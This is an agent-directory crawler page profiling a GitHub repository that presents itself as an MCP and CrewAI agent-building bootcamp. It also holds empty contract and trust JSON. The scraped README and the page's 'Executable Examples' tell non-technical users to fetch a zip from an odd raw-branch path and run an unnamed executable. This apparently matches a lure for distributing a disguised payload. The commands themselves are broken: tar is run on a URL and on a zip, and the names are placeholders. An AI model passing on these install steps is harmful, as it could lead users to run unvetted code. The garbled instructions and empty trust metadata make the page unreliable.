Crawler Summary

Build-Agentic-AI-and-Gen-AI-Agents-with-MCP answer-first brief

πŸ€– Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI. πŸ€– Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily $1 πŸš€ Getting Started Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience. πŸ› οΈ Prerequisites Before you begin, make sure your c Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/18/2026.

Freshness

Last checked 5/18/2026

Best For

Build-Agentic-AI-and-Gen-AI-Agents-with-MCP is best for crewai, multi-agent workflows where OpenClaw compatibility matters.

Not Ideal For

Contract metadata is missing or unavailable for deterministic execution.

Evidence Sources Checked

editorial-content, GITHUB OPENCLEW, runtime-metrics, public facts pack

Claim this agent
Agent DossierGitHubSafety: 66/100

Build-Agentic-AI-and-Gen-AI-Agents-with-MCP

πŸ€– Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI. πŸ€– Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily $1 πŸš€ Getting Started Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience. πŸ› οΈ Prerequisites Before you begin, make sure your c

OpenClawself-declared

Public facts

5

Change events

1

Artifacts

0

Freshness

May 18, 2026

Verifiededitorial-contentNo verified compatibility signals1 GitHub stars

Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/18/2026.

1 GitHub starsTrust evidence available

Trust score

Unknown

Compatibility

OpenClaw

Freshness

May 18, 2026

Vendor

Jfgj Gom

Artifacts

0

Benchmarks

0

Last release

Unpublished

Executive Summary

Key links, install path, and a quick operational read before the deeper crawl record.

Verifiededitorial-content

Summary

Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/18/2026.

Setup snapshot

git clone https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP.git
  1. 1

    Setup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.

  2. 2

    Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.

Evidence Ledger

Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.

Verifiededitorial-content
Vendor (1)

Vendor

Jfgj Gom

profilemedium
Observed May 11, 2026Source linkProvenance
Compatibility (1)

Protocol compatibility

OpenClaw

contractmedium
Observed May 11, 2026Source linkProvenance
Adoption (1)

Adoption signal

1 GitHub stars

profilemedium
Observed May 11, 2026Source linkProvenance
Security (1)

Handshake status

UNKNOWN

trustmedium
Observed unknownSource linkProvenance
Integration (1)

Crawlable docs

6 indexed pages on the official domain

search_documentmedium
Observed Apr 15, 2026Source linkProvenance

Release & Crawl Timeline

Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.

Self-declaredagent-index

Artifacts Archive

Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.

Self-declaredGITHUB OPENCLEW

Extracted files

0

Examples

3

Snippets

0

Languages

python

Executable Examples

bash

tar -xvzf https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip

bash

cd extracted-folder-name

bash

./application-executable

Docs & README

Full documentation captured from public sources, including the complete README when available.

Self-declaredGITHUB OPENCLEW

Docs source

GITHUB OPENCLEW

Editorial quality

ready

πŸ€– Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI. πŸ€– Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily $1 πŸš€ Getting Started Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience. πŸ› οΈ Prerequisites Before you begin, make sure your c

Full README

πŸ€– Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily

Download Now

πŸš€ Getting Started

Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience.

πŸ› οΈ Prerequisites

Before you begin, make sure your computer meets these basic requirements:

  • Operating System: Windows, macOS, or a Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Storage: Minimum of 2 GB of free disk space.
  • Network: An internet connection for software updates and downloads.

πŸ“₯ Download & Install

To get started, you need to download the application. Follow these simple steps:

  1. Visit the Releases page to download the software: Download Here.
  2. Look for the latest version listed on the page. You will see files available for download.
  3. Choose the file appropriate for your operating system:
    • For Windows, download the .exe file.
    • For macOS, download the .dmg file.
    • For Linux, download the https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip file.
  4. Click on the file to start the download.

πŸ“‚ How to Run the Application

Once the download is complete, follow these steps to run the application:

Windows

  1. Locate the downloaded .exe file in your "Downloads" folder.
  2. Double-click the file to launch the installer.
  3. Follow the on-screen instructions to install the application.
  4. After installation, find the application in your Start menu and click to open.

macOS

  1. Open the downloaded .dmg file located in your "Downloads" folder.
  2. Drag and drop the application icon to your "Applications" folder.
  3. Open your "Applications" folder and double-click the application to run it.

Linux

  1. Navigate to the directory where you downloaded the file using the terminal.
  2. Extract the file using the command:
    tar -xvzf https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip
    
  3. Change to the extracted directory:
    cd extracted-folder-name
    
  4. Run the application using the command:
    ./application-executable
    

πŸŽ“ About the Bootcamp

In this bootcamp, you will dive deep into the MCP architecture. Here are some key topics covered:

  • MCP Overview: Understand the basic concepts of Model Context Protocol.
  • LangChain: Learn to implement AI workflows using this powerful framework.
  • LangGraph: Explore how to visualize your AI models efficiently.
  • CrewAI: Discover team-based approaches to developing AI applications.

By participating, you will complete practical projects that prepare you for real-world challenges in AI development.

πŸ’» Support

If you encounter any issues during installation or while running the application, please reach out for support. You can find troubleshooting tips in the following places:

  • FAQ Section: Check for common questions and solutions.
  • GitHub Issues Page: Report your issue or browse existing reports for help.

πŸ“’ Share Your Feedback

Your input is valuable to us. If you enjoy the Bootcamp or have suggestions for improvements, please share your thoughts. You can create issues directly on our GitHub page.

πŸ“œ License

The application is open-source and available under the MIT License. You are free to use, modify, and distribute it as long as you maintain the original license terms.

πŸ“„ Acknowledgements

This project integrates several advanced technologies to deliver top-notch AI workflows. Based on concepts like:

  • Anthropic Claude
  • ChromaDB
  • FAISS
  • Pinecone DB

We appreciate the contributions from the community that have helped make this project possible.

πŸ“‘ Stay Connected

Follow this project on GitHub to receive updates and news. You can also join our community discussions to connect with fellow users and developers.

Once again, to download the application, visit the Releases page: Download Here.

Contract & API

Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.

MissingGITHUB OPENCLEW

Contract coverage

Status

missing

Auth

None

Streaming

No

Data region

Unspecified

Protocol support

OpenClaw: self-declared

Requires: none

Forbidden: none

Guardrails

Operational confidence: low

No positive guardrails captured.
Invocation examples
curl -s "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/snapshot"
curl -s "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract"
curl -s "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust"

Reliability & Benchmarks

Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.

Missingruntime-metrics

Trust signals

Handshake

UNKNOWN

Confidence

unknown

Attempts 30d

unknown

Fallback rate

unknown

Runtime metrics

Observed P50

unknown

Observed P95

unknown

Rate limit

unknown

Estimated cost

unknown

Do not use if

Contract metadata is missing or unavailable for deterministic execution.
No benchmark suites or observed failure patterns are available.

Media & Demo

Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.

Missingno-media
No screenshots, media assets, or demo links are available.

Related Agents

Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.

Self-declaredprotocol-neighbors
Github ReposUpdated 6mo agoRank 70

activepieces

AI Agents & MCPs & AI Workflow Automation β€’ (~400 MCP servers for AI agents) β€’ AI Automation / AI Agent with MCPs β€’ AI Workflows & AI Agents β€’ MCPs for AI Agents

OPENCLAW
Github ReposUpdated 6mo agoRank 70

cherry-studio

AI productivity studio with smart chat, autonomous agents, and 300+ assistants.

MCPOPENCLAW
Github ReposUpdated 6mo agoRank 70

AionUi

Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | 🌟 Star if you like it!

MCPOPENCLAW
Github ReposUpdated 7mo agoRank 70

CopilotKit

The Frontend for Agents & Generative UI. React + Angular

OPENCLAW
Machine Appendix

Contract JSON

{
  "contractStatus": "missing",
  "authModes": [],
  "requires": [],
  "forbidden": [],
  "supportsMcp": false,
  "supportsA2a": false,
  "supportsStreaming": false,
  "inputSchemaRef": null,
  "outputSchemaRef": null,
  "dataRegion": null,
  "contractUpdatedAt": null,
  "sourceUpdatedAt": null,
  "freshnessSeconds": null
}

Invocation Guide

{
  "preferredApi": {
    "snapshotUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/snapshot",
    "contractUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract",
    "trustUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust"
  },
  "curlExamples": [
    "curl -s \"https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/snapshot\"",
    "curl -s \"https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract\"",
    "curl -s \"https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust\""
  ],
  "jsonRequestTemplate": {
    "query": "summarize this repo",
    "constraints": {
      "maxLatencyMs": 2000,
      "protocolPreference": [
        "OPENCLEW"
      ]
    }
  },
  "jsonResponseTemplate": {
    "ok": true,
    "result": {
      "summary": "...",
      "confidence": 0.9
    },
    "meta": {
      "source": "GITHUB_OPENCLEW",
      "generatedAt": "2026-10-09T01:59:09.133Z"
    }
  },
  "retryPolicy": {
    "maxAttempts": 3,
    "backoffMs": [
      500,
      1500,
      3500
    ],
    "retryableConditions": [
      "HTTP_429",
      "HTTP_503",
      "NETWORK_TIMEOUT"
    ]
  }
}

Trust JSON

{
  "status": "unavailable",
  "handshakeStatus": "UNKNOWN",
  "verificationFreshnessHours": null,
  "reputationScore": null,
  "p95LatencyMs": null,
  "successRate30d": null,
  "fallbackRate": null,
  "attempts30d": null,
  "trustUpdatedAt": null,
  "trustConfidence": "unknown",
  "sourceUpdatedAt": null,
  "freshnessSeconds": null
}

Capability Matrix

{
  "rows": [
    {
      "key": "OPENCLEW",
      "type": "protocol",
      "support": "unknown",
      "confidenceSource": "profile",
      "notes": "Listed on profile"
    },
    {
      "key": "crewai",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    },
    {
      "key": "multi-agent",
      "type": "capability",
      "support": "supported",
      "confidenceSource": "profile",
      "notes": "Declared in agent profile metadata"
    }
  ],
  "flattenedTokens": "protocol:OPENCLEW|unknown|profile capability:crewai|supported|profile capability:multi-agent|supported|profile"
}

Facts JSON

[
  {
    "factKey": "vendor",
    "label": "Vendor",
    "value": "Jfgj Gom",
    "category": "vendor",
    "href": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
    "sourceUrl": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
    "sourceType": "profile",
    "confidence": "medium",
    "observedAt": "2026-05-11T06:21:49.520Z",
    "isPublic": true,
    "metadata": {}
  },
  {
    "factKey": "protocols",
    "label": "Protocol compatibility",
    "value": "OpenClaw",
    "category": "compatibility",
    "href": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract",
    "sourceUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract",
    "sourceType": "contract",
    "confidence": "medium",
    "observedAt": "2026-05-11T06:21:49.520Z",
    "isPublic": true,
    "metadata": {}
  },
  {
    "factKey": "traction",
    "label": "Adoption signal",
    "value": "1 GitHub stars",
    "category": "adoption",
    "href": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
    "sourceUrl": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
    "sourceType": "profile",
    "confidence": "medium",
    "observedAt": "2026-05-11T06:21:49.520Z",
    "isPublic": true,
    "metadata": {}
  },
  {
    "factKey": "docs_crawl",
    "label": "Crawlable docs",
    "value": "6 indexed pages on the official domain",
    "category": "integration",
    "href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceType": "search_document",
    "confidence": "medium",
    "observedAt": "2026-04-15T05:03:46.393Z",
    "isPublic": true,
    "metadata": {}
  },
  {
    "factKey": "handshake_status",
    "label": "Handshake status",
    "value": "UNKNOWN",
    "category": "security",
    "href": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust",
    "sourceUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust",
    "sourceType": "trust",
    "confidence": "medium",
    "observedAt": null,
    "isPublic": true,
    "metadata": {}
  }
]

Change Events JSON

[
  {
    "eventType": "docs_update",
    "title": "Docs refreshed: Sign in to GitHub Β· GitHub",
    "description": "Fresh crawlable documentation was indexed for the official domain.",
    "href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
    "sourceType": "search_document",
    "confidence": "medium",
    "observedAt": "2026-04-15T05:03:46.393Z",
    "isPublic": true,
    "metadata": {}
  }
]

Sponsored

Ads related to Build-Agentic-AI-and-Gen-AI-Agents-with-MCP and adjacent AI workflows.